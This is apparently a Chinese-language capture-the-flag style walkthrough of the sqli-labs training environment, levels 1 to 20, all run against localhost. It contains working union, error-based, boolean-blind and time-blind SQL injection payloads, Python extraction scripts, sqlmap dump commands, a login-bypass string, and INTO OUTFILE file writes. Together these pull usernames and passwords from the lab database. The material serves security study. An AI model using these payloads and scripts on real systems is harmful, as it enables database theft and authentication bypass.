SQL注入主要危害#

1. 非法读取数据：拖库盗取用户隐私、业务核心数据，引发信息泄露与黑产倒卖
2. 非法篡改销毁数据：修改业务数据、清空数据表，造成业务故障、数据永久丢失
3. 绕过身份验证：跳过登录校验，直接获得管理员后台权限
4. 入侵服务器主机：高权限数据库账号可读写服务器文件、执行系统命令，植入木马控制服务器
5. 内网横向渗透：以数据库服务器为跳板，攻击内网其他设备

Get注入#

Less 1-4 联合查询注入#

单引号字符型注入、整型注入、单引号 + 括号注入、双引号＋括号注入

1. 先判断有没有注入点，试着给 id 后面加一个单引号'：http://localhost/sqli-labs/Less-1/?id=1'

2. 观察页面有没有返回报错，如果返回：'1'' LIMIT 0,1，说明后端 SQL 很可能类似：SELECT ... FROM ... WHERE id='$id' LIMIT 0,1，也就是说我们的输入被放在了单引号里，where id='1''，所以报错。

尝试闭合SQL，http://localhost/sqli-labs/Less-1/?id=1' --+，--+ 用来注释掉后面多余的单引号，如果页面恢复正常，说明SQL成功闭合。

如果返回的报错是：'LIMIT 0,1，说明后端 SQL 很可能类似：SELECT ... FROM ... WHERE id=$id LIMIT 0,1，where id=1'报错，属于整形注入。

直接http://localhost/sqli-labs/Less-2/?id=1 --+先注释掉后面的LIMIT 0,1。

如果返回的报错是'1'') LIMIT 0,1，说明是后端SQL是单引号 + 括号闭合，类似SELECT ... FROM ... where id=('$id') LIMIT 0,1，where id=('1'') LIMIT 0,1报错，所以要把单引号 + 右括号 一起闭合掉：1') --+。

输入http://localhost/sqli-labs/Less-3/?id=1') --+，页面恢复正常。

如果没有返回报错，这通常意味着后台不是用单引号包的输入，而是用双引号 + 括号闭合，像：SELECT ... FROM ... where id=("1") LIMIT 0,1，所以where id=("1'") LIMIT 0,1不会报错。

所以，这里要用双引号测试，http://localhost/sqli-labs/Less-4/?id=1"，如果返回报错 "1"") LIMIT 0,1，证明确实是")这种闭合方式。

输入http://localhost/sqli-labs/Less-4/?id=1") --+闭合就可以了。

3. 上面这些对注入点的测试都是为了第三步的联合查询注入做铺垫。首先通过 order by 判断列数：

1
http://localhost/sqli-labs/Less-1/?id=1' order by 1 --+
2
http://localhost/sqli-labs/Less-1/?id=1' order by 2 --+
3
http://localhost/sqli-labs/Less-1/?id=1' order by 3 --+
4
http://localhost/sqli-labs/Less-1/?id=1' order by 4 --+

发现直到 order by 4 报错，说明这个后台SQL的查询结果有 3 列。后面要用 union select，它要求左右两边列数一样，所以现在先数这个后台SQL查了几列。

然后是找回显位，http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+ ps:(联合查询必须使union前面的语句查询不到数据库的数据比如说id=999或id=-1)）。如下图说明：

1
第 2 列会显示在 Login name 位置
2
第 3 列会显示在 Password 位置
3
第 1 列不显示

然后就可以把显示出来的位置换成数据库信息，拿到数据库名、 MySQL 版本或者用户等。比如：

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),version() --+

也可以http://localhost/sqli-labs/Less-2/?id=-1' union select 1,database(),user() --+

现在就跑通了关键链路。下一步可以查这个数据库里有哪些表。

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

1
information_schema          MySQL 自带的数据库
2
information_schema.table    其中一张表，记录所有表名
3
table_schema=database()     只看当前数据库 security 里的表
4
group_concat(table_name)    把多个表名合成一行显示出来

然后从 users 表里继续往下挖：先查字段名，再查字段里的数据。

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

information_schema.columns 是 MySQL 自带的字段清单表，记录每张表有哪些字段。

爆数据：http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

完整利用链：

1
先看怎么闭合→再 order by 数列→再 union select 找回显位→再 information_schema 查表和字段→最后 from 目标表查数据

Less 5#

1
import requests
2

3
url = "http://localhost/sqli-labs/Less-5/"
4
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-$"
5
result = ""
6

7
for pos in range(1, 9):
8
    for ch in chars:
9
        payload = f"1' and mid(database(),{pos},1)='{ch}' #"
10
        r = requests.get(url, params={"id": payload})
11

12
        if "You are in" in r.text:
13
            result += ch
14
            print(result)
15
            break
16

17
print("database:", result)

1
target = "(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')"

1
target = "(select group_concat(username,0x3a,password) from users)"

1
1. 判断注入点
2
2. 确认页面存在真假差异
3
3. length(database()) 猜数据库名长度
4
4. mid(database(),pos,1) 猜数据库名
5
5. 查 information_schema.tables 猜表名
6
6. 查 information_schema.columns 猜字段名
7
7. 查 users 表里的 username/password

1
-- 原始xml：<a>123</a>
2
SELECT UPDATEXML('<a>123</a>','//a','666');
3
-- 输出：<a>666</a>

1
and updatexml(1,concat('~',(单行单列查询),'~'),1)

1
?id=1' and updatexml(1,concat('~',mid((select group_concat(username,':',password) from users),1,30),'~'),1) --+

1
?id=1' and updatexml(1,concat('~',mid((select group_concat(username,':',password) from users),31,30),'~'),1) --+

1
?id=1' and updatexml(1,concat('~',mid((select group_concat(username,':',password) from users),61,30),'~'),1) --+

Less 6 sqlmap一把梭#

双引号报错，--+注释后就恢复了，所以是双引号闭合

手法还是和Less5一样，所以这里试下sqlmap一把梭。

查看当前数据库：

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --batch --current-db

查表：

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --batch -D security --tables

查 users 表字段：

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --batch -D security -T users --columns

爆users表数据：

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --batch -D security -T users --dump

Less 7 outflie#

开始做题前，先了解一下什么是into outflie命令

INTO OUTFILE 命令是用于将查询结果写入到一个文件中的 MySQL 查询语句。它可以将查询结果保存为文本文件，供进一步处理或导出使用。

以下是 INTO OUTFILE 命令的基本语法：

1
SELECT column1, column2, ...
2
INTO OUTFILE 'filename'
3
FROM table_name
4
WHERE condition;

• column1, column2, … ：要选择的列。
• ‘filename’ ：指定要输出的文件路径和名称。注意，MySQL 服务器必须有写入该文件的权限，并且必须是绝对路径。
• table_name ：要查询的数据库表名。
• WHERE condition ：可选，用于筛选查询结果的条件。

1. 首先判断注入类型。单引号报错：

   

   注释后仍然报错：

   

   双引号正常：

   

   1 = 2 后还是显示正常，说明不是单纯的单双引号闭合

   

   常用的闭合符号

   SQL语句原代码	闭合代码
   ’$id’	id=1’—+
   $id	id=1—+
   “$id”	id=1”—+
   (‘$id’)	id=1’) —+
   (“$id”)	id=1”) —+
   ((‘id’))	id=1’)) —+

   ?id=1’)) and 1 = 1 —+ 回显正常，所以还是有注入点的。

   

   order by 找一下列，order by 4报错，说明数据库查询返回的依旧是3列

   

2. 这个题依旧是没有回显位置的。其实这个题也是可以像前面一样利用盲注去做的，但是这个题的名字叫Dump into Outfile，那我们这里就用into outflie来做。先写一个普通文本文件测试：

   1
   http://localhost/sqli-labs/Less-7/?id=-1')) union select 1,2,3 into outfile 'D:/Application/PhpStudy/phpstudy_pro/WWW/sqli-labs/test.txt' --+
   

   然后访问：http://localhost/sqli-labs/test.txt。可以看到outfile成功了。

   

   查库名：http://localhost/sqli-labs/Less-7/?id=-1')) union select 1,2,database() into outfile 'D:/Application/PhpStudy/phpstudy_pro/WWW/sqli-labs/database.txt' --+

   

   查表名：http://localhost/sqli-labs/Less-7/?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile 'D:/Application/PhpStudy/phpstudy_pro/WWW/sqli-labs/table.txt' --+

   

   查列名：http://localhost/sqli-labs/Less-7/?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile 'D:/Application/PhpStudy/phpstudy_pro/WWW/sqli-labs/c.txt' --+

   

   查数据：http://localhost/sqli-labs/Less-7/?id=-1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'D:/Application/PhpStudy/phpstudy_pro/WWW/sqli-labs/data.txt' --+

   

Less 8 布尔盲注#

1. ?id=1’ 无返回值。?id=1’ —+ 返回正常You are in...........，说明是单引号闭合。

2. 尝试布尔盲注：?id=1' and mid(version(),1,1)=5 --+，正常返回，而?id=1' and mid(version(),1,1)=4 --+，无返回值。

3. 那直接写脚本，和Less 5的一样的。

   1
   import requests
   2
   
   3
   url = "http://localhost/sqli-labs/Less-5/"
   4
   chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,-$:@.!{}"
   5
   target = "database()"
   6
   
   7
   length = 0
   8
   
   9
   for i in range(1, 100):
   10
       payload = f"1' and length({target})={i} #"
   11
       r = requests.get(url, params={"id": payload})
   12
   
   13
       if "You are in" in r.text:
   14
           length = i
   15
           print("length:", length)
   16
           break
   17
   
   18
   if length == 0:
   19
       print("没找到长度，检查判断关键词或注释符")
   20
       exit()
   21
   
   22
   result = ""
   23
   
   24
   for pos in range(1, length + 1):
   25
       found = False
   26
   
   27
       for ch in chars:
   28
           payload = f"1' and mid({target},{pos},1)='{ch}' #"
   29
           r = requests.get(url, params={"id": payload})
   30
   
   31
           if "You are in" in r.text:
   32
               result += ch
   33
               print(result)
   34
               found = True
   35
               break
   36
   
   37
       if not found:
   38
           print(f"第 {pos} 位没猜到，可能字符集不够")
   39
           break
   40
   
   41
   print("tables:", result)
   42
   
   43
   逻辑是：
   44
   1. length(...) 从 1 到 99 试
   45
   2. 找到长度后保存到 length
   46
   3. pos 从 1 到 length 逐位猜字符
   47
   4. 拼出完整表名字符串
   

   

   后面就是和原来一样替换target，查表，查列，查数据就可以了。

   1
   target = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
   

   1
   target = "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')"
   

   1
   target = "(select group_concat(username,0x3a,password) from users)"
   

   

Less 9 时间盲注#

if()函数

IF(expr,true_val,false_val) expr成立，返回true_val；不成立，返回false_val。

1. 这一关无论输入什么参数，页面只有一种响应结果：you are in.....。无回显位置，不适合联合注入；无报错信息，不适合报错注入；查询的正确与否不会影响页面的响应（只有一种响应），不适合布尔盲注。综上所述，考虑使用时间盲注。

   

2. 手工测试是否存在时间盲注：?id=1' and if(1,sleep(5), 3) --+ ，发现网页确实延迟了五秒刷新，所以存在时间盲注，且是单引号闭合。

   

3. 写脚本，思路和布尔盲注的差不多，主要多了个is_true函数来判断时间延迟。

   1
   import time
   2
   import requests
   3
   
   4
   url = "http://localhost/sqli-labs/Less-8/"
   5
   chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,-$:@.!{}"
   6
   target = "database()"
   7
   
   8
   # if中的expr为真时执行 sleep(2)，用来制造“慢响应”
   9
   delay = 2
   10
   # Python 检测到响应超过 1.5 秒，就认为这次是“慢响应”
   11
   threshold = 1.5
   12
   
   13
   def is_true(condition):
   14
       payload = f"1' and if({condition},sleep({delay}),0) #"
   15
   
   16
       start = time.time()
   17
       requests.get(url, params={"id": payload})
   18
       used = time.time() - start
   19
   
   20
       return used > threshold
   21
   
   22
   length = 0
   23
   
   24
   for i in range(1, 100):
   25
       if is_true(f"length({target})={i}"):
   26
           length = i
   27
           print("length:", length)
   28
           break
   29
   
   30
   if length == 0:
   31
       print("没找到长度，可能 threshold 太高/太低，或 payload 没执行成功")
   32
       exit()
   33
   
   34
   result = ""
   35
   
   36
   for pos in range(1, length + 1):
   37
       found = False
   38
   
   39
       for ch in chars:
   40
           condition = f"mid({target},{pos},1)='{ch}'"
   41
   
   42
           if is_true(condition):
   43
               result += ch
   44
               print(result)
   45
               found = True
   46
               break
   47
   
   48
       if not found:
   49
           print(f"第 {pos} 位没猜到，可能字符集不够")
   50
           break
   51
   
   52
   print("result:", result)
   53
   
   54
   逻辑：
   55
   1. 构造 if(条件,sleep(2),0)
   56
   2. 发请求
   57
   3. 统计响应时间
   58
   4. 超过 1.5 秒就认为条件为真
   59
   5. 先猜长度
   60
   6. 再逐位猜字符
   61
   7. 拼出最终结果
   62
   
   63
   布尔盲注：看页面有没有 You are in
   64
   时间盲注：看响应有没有变慢
   

   

   后面就是和原来一样替换target，查表，查列，查数据就可以了。

   1
   target = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
   

   1
   target = "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')"
   

   1
   target = "(select group_concat(username,0x3a,password) from users)"
   

   

Less 10 sqlmap一把梭#

1. Less 10也是无回显位置，查询的正确与否不会影响页面的响应，也没有报错信息，所以还是时间盲注。?id=1" and if(1,sleep(5), 3) --+会使网页五秒后刷新，所以是双引号闭合的。

   

2. 这里再用下sqlmap：python sqlmap.py -u "http://localhost/sqli-labs/Less-10/?id=1" --batch --level 2。确实存在时间盲注，sqlmap还测试出了布尔的，我手工是没找出来。

   

3. 查看当前数据库：

   1
   python sqlmap.py -u "http://localhost/sqli-labs/Less-10/?id=1" --batch --current-db
   

   

   查表：

   1
   python sqlmap.py -u "http://localhost/sqli-labs/Less-10/?id=1" --batch -D security --tables
   

   

   查 users 表字段：

   1
   python sqlmap.py -u "http://localhost/sqli-labs/Less-10/?id=1" --batch -D security -T users --columns
   

   

   爆users表数据：

   1
   python sqlmap.py -u "http://localhost/sqli-labs/Less-10/?id=1" --batch -D security -T users --dump
   

   

Post注入#

Less 11 万能密码-联合查询注入#

Less-11 开始从 GET 参数注入 换成了 POST 表单注入。

万能密码：' or '1' = '1' # 原理就是用 OR true 绕过密码判断

1. 开局一个登录框。它的 SQL 大概率类似：select username,password from users where username='$uname' and password='$passwd' limit 0,1。所以注入点可能在 username，也可能在 password。

   

2. 试下万能密码。username 输入：' or '1' = '1' # ；password 随便填，反正都被注释了。登录成功，说明 username 存在字符型注入。

   

3. 判断列数然后找回显位。username 依次填：' or '1'='1' order by 1 #、' or '1'='1' order by 2 #、' or '1'='1' order by 3 #，直到 order by 3的时候报错，说明后台sql查询返回的结果为两列。

   

   username 填：' and 1=2 union select 1,2 --+（用 and 1=2是让前面的正常查询查不到数据，只显示我们 union 出来的 1,2，和前面get的时候传id=-1一个道理）。页面显示 1、2，说明username和password两个位置都能回显。

   

4. 那就和前面一样了。查数据库名、查表名、查列明、查数据。

   1
   ' and 1=2 union select database(),version() #
   

   1
   ' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #
   

   1
   ' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' #
   

   1
   ' and 1=2 union select group_concat(username,0x3a,password),2 from users #
   

   

Less 12#

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-12/" --data "uname=admin&passwd=123&submit=Submit" --batch

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-12/" --data "uname=admin&passwd=123&submit=Submit" -p uname --batch --current-db

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-12/" --data "uname=admin&passwd=123&submit=Submit" -p uname --batch -D security --tables

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-12/" --data "uname=admin&passwd=123&submit=Submit" -p uname --batch -D security -T users --columns

1
python sqlmap.py -u "http://localhost/sqli-labs/Less-12/" --data "uname=admin&passwd=123&submit=Submit" -p uname --batch -D security -T users --dump

Less 13 布尔盲注#

1. 经测试发现是单引号＋括号闭合，但闭合成功后发现这关没有任何回显，所以联合查询注入就用不了了。

查询是否正确会影响页面显示，所以这关可以用布尔盲注。

2. 写脚本。思路和get的是一样的。只是这一层不返回“You are in…”,看前端源码可以发现正确返回时返回flag.jpg

   而错误返回时返回的是slap.jpg

   

   1
   import requests
   2
   
   3
   url = "http://localhost/sqli-labs/Less-13/"
   4
   chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,-$:@.!{}"
   5
   target = "database()"
   6
   
   7
   def check(condition):
   8
       payload = f"') or {condition} #"
   9
   
   10
       r = requests.post(
   11
           url,
   12
           data={
   13
               "uname": payload,
   14
               "passwd": "123",
   15
               "submit": "Submit",
   16
           },
   17
       )
   18
   
   19
       return "flag.jpg" in r.text
   20
   
   21
   length = 0
   22
   
   23
   for i in range(1, 100):
   24
       if check(f"length({target})={i}"):
   25
           length = i
   26
           print("length:", length)
   27
           break
   28
   
   29
   if length == 0:
   30
       print("没找到长度，检查闭合方式或真假判断关键词")
   31
       exit()
   32
   
   33
   result = ""
   34
   
   35
   for pos in range(1, length + 1):
   36
       found = False
   37
   
   38
       for ch in chars:
   39
           if check(f"mid({target},{pos},1)='{ch}'"):
   40
               result += ch
   41
               print(result)
   42
               found = True
   43
               break
   44
   
   45
       if not found:
   46
           print(f"第 {pos} 位没猜到，可能字符集不够")
   47
           break
   48
   
   49
   print("result:", result)
   

   

   后面就是和原来一样替换target，查表，查列，查数据就可以了。

   1
   target = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
   

   1
   target = "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')"
   

   1
   target = "(select group_concat(username,0x3a,password) from users)"
   

Less 14 布尔盲注#

1. 这关是双引号闭合，也是没有任何回显，并且查询是否正确会影响页面显示。所以这关还是布尔盲注。

   

2. 还是这个脚本，小改一些地方就行了。

   1
   import requests
   2
   
   3
   url = "http://localhost/sqli-labs/Less-14/"
   4
   chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,-$:@.!{}"
   5
   target = "database()"
   6
   
   7
   def check(condition):
   8
       payload = f"\" or {condition} #"
   9
   
   10
       r = requests.post(
   11
           url,
   12
           data={
   13
               "uname": payload,
   14
               "passwd": "123",
   15
               "submit": "Submit",
   16
           },
   17
       )
   18
   
   19
       return "flag.jpg" in r.text
   20
   
   21
   length = 0
   22
   
   23
   for i in range(1, 100):
   24
       if check(f"length({target})={i}"):
   25
           length = i
   26
           print("length:", length)
   27
           break
   28
   
   29
   if length == 0:
   30
       print("没找到长度，检查闭合方式或真假判断关键词")
   31
       exit()
   32
   
   33
   result = ""
   34
   
   35
   for pos in range(1, length + 1):
   36
       found = False
   37
   
   38
       for ch in chars:
   39
           if check(f"mid({target},{pos},1)='{ch}'"):
   40
               result += ch
   41
               print(result)
   42
               found = True
   43
               break
   44
   
   45
       if not found:
   46
           print(f"第 {pos} 位没猜到，可能字符集不够")
   47
           break
   48
   
   49
   print("result:", result)
   

   

   后面依旧是查表，查列，查数据。

Less 15 布尔盲注#

1. 经测试发现是单引号闭合，也是没有任何回显，并且查询是否正确会影响页面显示。所以这关依旧布尔盲注。

2. 和Less13 Less14手法一模一样。

Less 16 时间盲注#

这个题也是可以用布尔盲注来做，但是这里练下时间盲注。

1. 这关是双引号＋括号闭合。

   

2. 写脚本，和前面get的差不多，小改一下：

   1
   import time
   2
   import requests
   3
   
   4
   url = "http://localhost/sqli-labs/Less-16/"
   5
   chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,-$:@.!{}"
   6
   target = "database()"
   7
   
   8
   # if 中的条件为真时执行 sleep(2)，制造“慢响应”
   9
   delay = 2
   10
   # Python 检测到响应超过 1.5 秒，就认为触发了 sleep
   11
   threshold = 1.5
   12
   
   13
   def is_true(condition):
   14
       payload = f'") or if({condition},sleep({delay}),0) #'
   15
   
   16
       start = time.time()
   17
       requests.post(
   18
           url,
   19
           data={
   20
               "uname": payload,
   21
               "passwd": "123",
   22
               "submit": "Submit",
   23
           },
   24
       )
   25
       used = time.time() - start
   26
   
   27
       return used > threshold
   28
   
   29
   length = 0
   30
   
   31
   for i in range(1, 100):
   32
       if is_true(f"length({target})={i}"):
   33
           length = i
   34
           print("length:", length)
   35
           break
   36
   
   37
   if length == 0:
   38
       print("没找到长度，可能 threshold 太高/太低，或 payload 没执行成功")
   39
       exit()
   40
   
   41
   result = ""
   42
   
   43
   for pos in range(1, length + 1):
   44
       found = False
   45
   
   46
       for ch in chars:
   47
           condition = f"mid({target},{pos},1)='{ch}'"
   48
   
   49
           if is_true(condition):
   50
               result += ch
   51
               print(result)
   52
               found = True
   53
               break
   54
   
   55
       if not found:
   56
           print(f"第 {pos} 位没猜到，可能字符集不够")
   57
           break
   58
   
   59
   print("result:", result)
   

   

​ 后面就是和原来一样替换target，查表，查列，查数据就可以了。

1
target = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"

1
target = "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')"

1
target = "(select group_concat(username,0x3a,password) from users)"

Less 17 报错盲注#

1. 这个题是一个修改密码的页面。和前面登录界面的逻辑不同，它的逻辑大概是先检查这个 username 是否存在，如果存在，再 update 这个用户的 password。也就是：select username from users where username='$uname' update users set password='$passwd' where username='$uname'。

   

   尝试了一下绕过username，确实不行。说明前面的分析正确，确实是需要一个正确的user name，在password点进行注入。

   

2. 试了一下，admin，Dump都不行，因为源码中check_input函数会处理username,但数字0反倒可以绕进去。

   进行报错注入：

   查数据库

   1
   username: 0
   2
   new password: 1' and updatexml(1,concat('~',database(),'~'),1) #
   

   

   查表

   1
   username: 0
   2
   new password: 1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #
   

   

   查字段：

   1
   username: 0
   2
   new password: 1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'),1) #
   

   

   查数据：

   1
   username: 0
   2
   new password: 1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password) from (select username,password from users) as a),'~'),1) #
   

   

   数据太长了，需要分段：

   1
   1' and updatexml(1,concat('~',mid((select group_concat(username,0x3a,password) from (select username,password from users) as a),1,30),'~'),1) #
   2
   
   3
   1' and updatexml(1,concat('~',mid((select group_concat(username,0x3a,password) from (select username,password from users) as a),31,30),'~'),1) #
   

   直到拿到完整数据。

Less 18 请求头UA注入-报错注入#

1. 这一关发现页面存在一个address地址，这时可以猜想，是否存在http请求头注入。

   

   首先看一下源代码，发现存在一个 insert 语句：这里是没有对这个 address 与 uagent 参数进行过滤的。仅仅是check_input了uname 与 passwd。也就是可以对 uagent 与页面回显的 address 参数进行注入尝试。

   

2. 尝试对 user-agent 进行注入。它的后台 sql 如下：

   1
   INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
   

   所以，要把它改成类似：User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1，这样拼进sql后，就会变成：values('1' and updatexml(...) and '1'='1', '127.0.0.1', 'xxx')，从而实现报错注入。

   查数据库名：

   1
   curl.exe -X POST "http://localhost/sqli-labs/Less-18/" -H "User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1" -d "uname=0&passwd=0&submit=Submit"
   

   

   查表名：

   1
   curl.exe -X POST "http://localhost/sqli-labs/Less-18/" -H "User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1" -d "uname=0&passwd=0&submit=Submit"
   

   

   查字段名：

   1
   curl.exe -X POST "http://localhost/sqli-labs/Less-18/" -H "User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and '1'='1" -d "uname=0&passwd=0&submit=Submit"
   

   

   查账号密码：

   1
   curl.exe -X POST "http://localhost/sqli-labs/Less-18/" -H "User-Agent: 1' and updatexml(1,concat(0x7e,mid((select group_concat(username,0x3a,password) from users),1,30),0x7e),1) and '1'='1" -d "uname=0&passwd=0&submit=Submit"
   

   

   后面不断修改分段，拿到全部的账号密码。

   用python脚本更方便：

   1
   import requests
   2
   
   3
   url = "http://localhost/sqli-labs/Less-18/"
   4
   
   5
   headers = {
   6
       "User-Agent": "1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1"
   7
   }
   8
   
   9
   data = {
   10
       "uname": "0",
   11
       "passwd": "0",
   12
       "submit": "Submit"
   13
   }
   14
   
   15
   r = requests.post(url, headers=headers, data=data)
   16
   
   17
   print(r.text)
   

   每次替换headers就行了。

Less 19 请求头Referer注入-报错注入#

1. 这一关还是请求头注入，看一下源代码。uname和passwd会进行check_input检测。登录成功则会对 referer 与 ip_address 插入。

   

2. 因此可以对 referers 进行注入尝试。

   1
   import requests
   2
   
   3
   url = "http://localhost/sqli-labs/Less-19/"
   4
   
   5
   headers = {
   6
       "Referer": "1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1"
   7
   }
   8
   
   9
   data = {
   10
       "uname": "0",
   11
       "passwd": "0",
   12
       "submit": "Submit"
   13
   }
   14
   
   15
   r = requests.post(url, headers=headers, data=data)
   16
   
   17
   print(r.text)
   

   

   后面修改headers就行了：

   1
   headers = {
   2
       "Referer": "1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1"
   3
   }
   

   1
   headers = {
   2
       "Referer": "1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and '1'='1"
   3
   }
   

   1
   headers = {
   2
       "Referer": "1' and updatexml(1,concat(0x7e,mid((select group_concat(username,0x3a,password) from users),1,30),0x7e),1) and '1'='1"
   3
   }
   

Less 20 请求头Cookie注入-报错注入#

1. 打到这里，我现在基本会先去看一下源码了。能得到不少信息，省的自己再慢慢试。

   可以看到对于cookie没有进行过滤，并且第二次会拿出cookie调用sql语句，这里就达成了注入的条件。 登录成功之后会设置里面的cookie 当二次刷新的时候 这时候会重新从里面取值，并且这次取值没有经过过滤。这直接就是注入点 ：Cookie: uname=payload。

   

2. 还是使用updatexml的函数进行报错。

   1
   import requests
   2
   
   3
   url = "http://localhost/sqli-labs/Less-20/"
   4
   
   5
   s = requests.Session()
   6
   
   7
   # 先登录，让服务端进入已登录状态/设置 cookie
   8
   s.post(
   9
       url,
   10
       data={
   11
           "uname": "0",
   12
           "passwd": "0",
   13
           "submit": "Submit",
   14
       },
   15
   )
   16
   
   17
   # 再覆盖 cookie 里的 uname
   18
   headers = {
   19
       "Cookie": "uname=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1"
   20
   }
   21
   
   22
   r = s.get(url, headers=headers)
   23
   
   24
   print(r.text)
   

   

   查表名：

   1
   headers = {
   2
       "Cookie": "uname=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1"
   3
   }
   

   查字段名：

   1
   headers = {
   2
       "Cookie": "uname=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and '1'='1"
   3
   }
   

   查数据分段：

   1
   headers = {
   2
       "Cookie": "uname=1' and updatexml(1,concat(0x7e,mid((select group_concat(username,0x3a,password) from users),1,30),0x7e),1) and '1'='1"
   3
   }
   

   第二段：

   1
   headers = {
   2
       "Cookie": "uname=1' and updatexml(1,concat(0x7e,mid((select group_concat(username,0x3a,password) from users),31,30),0x7e),1) and '1'='1"
   3
   }